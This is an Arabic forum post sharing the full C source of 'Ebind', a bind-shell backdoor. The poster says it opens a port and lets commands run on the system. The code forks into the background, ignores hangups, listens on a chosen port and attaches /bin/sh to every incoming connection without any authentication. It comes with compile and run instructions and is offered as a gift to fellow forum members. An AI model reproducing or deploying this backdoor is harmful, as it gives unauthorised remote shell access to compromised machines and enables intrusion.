السلام عليكم ،
الوظيفه تفتح بورت معين ومن خلاله تطبق اوامر على النظام
الكود اهداء لستورم خاصة ولكل الشباب اللي بحبهم عامة
بالتوفيق ان شاء الله ،،

الوظيفه تفتح بورت معين ومن خلاله تطبق اوامر على النظام
الكود اهداء لستورم خاصة ولكل الشباب اللي بحبهم عامة

كود PHP:
/*
* Author : EncrYpted-ErrOr
* LICENSE : GPL
* Code Name: Ebind
* Version : 0.1
* Home : er0x.wordpress.com
* 2008
* usage
*[*] gcc Ebind.c -o Ebind
*[*]./Ebind [port]
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<errno.h>
#include<unistd.h>
#include<signal.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
int main(int argc , char *argv[])
{
int sock;
int erox , erox_l;
int cle;
int c_pid , s_pid;
char msg[] = "[*]Ebind v 0.1 coded By EncrYpted-ErrOr\n";
/* - - - - - - - - - - - - */
/* - - - - - - - - - - - - */
struct sockaddr_in p_addr;
struct sockaddr_in x_addr;
if(argc < 2)
{
printf("%s [port]\n" , argv[0]);
}
else{
p_addr.sin_family = AF_INET;
p_addr.sin_port = htons(atoi(argv[1]));
p_addr.sin_addr.s_addr = INADDR_ANY;
printf(msg);
sock = socket(AF_INET , SOCK_STREAM , 0);
if(sock == -1)
{
perror("socket");
return -1;
exit(-1);
}
erox = bind(sock , (struct sockaddr *)&p_addr , sizeof(struct sockaddr));
if(erox == -1)
{
perror("bind");
return -1;
exit(-1);
}
if (fork() != 0)
exit(0);
signal(SIGHUP, SIG_IGN);
if((listen(sock , 10) == -1))
{
perror("listen");
return -1;
exit(-1);
}
while(1)
{
cle = sizeof(struct sockaddr_in);
erox_l = accept(sock , (struct sockaddr *)&x_addr , &cle);
if(erox_l < 0)
{
perror("accept");
}
if(send(erox_l,msg,strlen(msg),0) < 0)
{
perror("send");
}
c_pid = getpid();
s_pid = fork();
if (s_pid != 0)
{
dup2(erox_l,0);
dup2(erox_l,1);
dup2(erox_l,2);
execl("/bin/sh","sh",0);
close(erox_l);
exit(0);
}
}
close(sock);
exit(0);
}
}
تعليق